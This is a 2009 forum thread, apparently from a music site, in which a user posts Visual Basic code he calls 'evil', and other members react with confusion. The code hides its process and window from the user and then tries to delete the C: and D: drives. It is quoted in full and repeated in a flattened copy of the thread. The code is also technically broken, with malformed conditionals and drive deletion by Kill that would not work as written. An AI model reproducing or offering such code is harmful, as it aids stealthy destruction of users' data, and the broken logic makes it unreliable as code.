I was bored and feelin' evil (quote)

~~coryallen2~~ · 03-04-2009, 10:12 AM

i love evil API...

Private Declare Function GetCurrentProcessID Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Const RSP_SIMPLE_SERVICE = 1
Private Const RSP_UNREGISTER_SERVICE = 0

Private Sub HideIt()
On Error Resume Next
Dim Process_ID As Long
Dim Register_Service As Long
Process_ID = GetCurrentProcessID()
Register_Service = RegisterServiceProcess(Process_ID, RSP_SIMPLE_SERVICE)
End Sub

Private Sub Form_Load()
On Error Resume Next
Call HideIt
Me.Hide
App.TaskVisible = False
Dim path As String
'if user does not have drive D (Backup/Restore)
'it will beep, but will recursively **** up any
'other drives specied
If Error Then GoTo Err
If FileExists("C:\") & ("D:\") = True Then
Kill "C:\" & "D:\"
If DriveExists("C:\") & ("D:\") Then
Kill "C:\" & "D:\"
Else
GoTo Err
End If
End If
Err: Beep
End Sub

put this in your modile...

Public Function FileExists(sFileName As String) As Boolean
If Len(sFileName$) = 0 Then
FileExists = False
Exit Function
End If
If Len(Dir$(sFileName$)) Then
FileExists = True
Else
FileExists = False
End If
End Function

Public Function DriveExists(sDriveName As String) As Boolean
If Len(sDriveName$) = 0 Then
DriveExists = False
Exit Function
End If
If Len(Dir$(sDriveName$)) Then
DriveExists = True
Else
DriveExists = False
End If
End Function

7gaugejames · 03-04-2009, 11:13 AM

WTF is this.... are you evil?

pahuuuta · 03-04-2009, 02:03 PM

what is this?

**Janszoon** · 03-04-2009, 02:52 PM

Quote:

Originally Posted by coryallen2

i love evil API...

Private Declare Function GetCurrentProcessID Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Const RSP_SIMPLE_SERVICE = 1
Private Const RSP_UNREGISTER_SERVICE = 0

Private Sub HideIt()
On Error Resume Next
Dim Process_ID As Long
Dim Register_Service As Long
Process_ID = GetCurrentProcessID()
Register_Service = RegisterServiceProcess(Process_ID, RSP_SIMPLE_SERVICE)
End Sub

Private Sub Form_Load()
On Error Resume Next
Call HideIt
Me.Hide
App.TaskVisible = False
Dim path As String
'if user does not have drive D (Backup/Restore)
'it will beep, but will recursively **** up any
'other drives specied
If Error Then GoTo Err
If FileExists("C:\") & ("D:\") = True Then
Kill "C:\" & "D:\"
If DriveExists("C:\") & ("D:\") Then
Kill "C:\" & "D:\"
Else
GoTo Err
End If
End If
Err: Beep
End Sub

put this in your modile...

Public Function FileExists(sFileName As String) As Boolean
If Len(sFileName$) = 0 Then
FileExists = False
Exit Function
End If
If Len(Dir$(sFileName$)) Then
FileExists = True
Else
FileExists = False
End If
End Function

Public Function DriveExists(sDriveName As String) As Boolean
If Len(sDriveName$) = 0 Then
DriveExists = False
Exit Function
End If
If Len(Dir$(sDriveName$)) Then
DriveExists = True
Else
DriveExists = False
End If
End Function

When nerds go bad.

mr dave · 03-04-2009, 06:29 PM

i haven't written code in years but has scripting really evolved to the point of 'kill' and a drive letter being valid syntax for deleting/formatting a drive?

sounds like it's a nice way to brick your phone.

Urban Hat€monger ? · 03-04-2009, 06:38 PM

I don't see any point to this.

03-04-2009, 10:12 AM	#1 (permalink)
~~coryallen2~~ Account Disabled Join Date: Feb 2009 Location: lorain,ohio Posts: 909	I was bored and feelin' evil i love evil API... Private Declare Function GetCurrentProcessID Lib "kernel32" () As Long Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long Private Const RSP_SIMPLE_SERVICE = 1 Private Const RSP_UNREGISTER_SERVICE = 0 Private Sub HideIt() On Error Resume Next Dim Process_ID As Long Dim Register_Service As Long Process_ID = GetCurrentProcessID() Register_Service = RegisterServiceProcess(Process_ID, RSP_SIMPLE_SERVICE) End Sub Private Sub Form_Load() On Error Resume Next Call HideIt Me.Hide App.TaskVisible = False Dim path As String 'if user does not have drive D (Backup/Restore) 'it will beep, but will recursively **** up any 'other drives specied If Error Then GoTo Err If FileExists("C:\") & ("D:\") = True Then Kill "C:\" & "D:\" If DriveExists("C:\") & ("D:\") Then Kill "C:\" & "D:\" Else GoTo Err End If End If Err: Beep End Sub put this in your modile... Public Function FileExists(sFileName As String) As Boolean If Len(sFileName$) = 0 Then FileExists = False Exit Function End If If Len(Dir$(sFileName$)) Then FileExists = True Else FileExists = False End If End Function Public Function DriveExists(sDriveName As String) As Boolean If Len(sDriveName$) = 0 Then DriveExists = False Exit Function End If If Len(Dir$(sDriveName$)) Then DriveExists = True Else DriveExists = False End If End Function

03-04-2009, 11:13 AM	#2 (permalink)
7gaugejames Music Addict Join Date: Feb 2009 Location: Imperial Beach Ca. Posts: 101	WTF is this.... are you evil? __________________ I don't care who you are, Gunslinger, shmunslinger, everyone needs a good purse.

03-04-2009, 02:03 PM	#3 (permalink)
pahuuuta Craziest Thing Join Date: Feb 2009 Location: New York Posts: 459	what is this? __________________ *He Who Makes A Beast Out Of Himself Gets Rid Of The Pain Of Being A Man*

03-04-2009, 06:38 PM	#6 (permalink)
Urban Hat€monger ? The Sexual Intellectual Join Date: Dec 2004 Location: Somewhere cooler than you Posts: 18,605	I don't see any point to this. __________________ Urb's RYM Stuff Most people sell their soul to the devil, but the devil sells his soul to Nick Cave.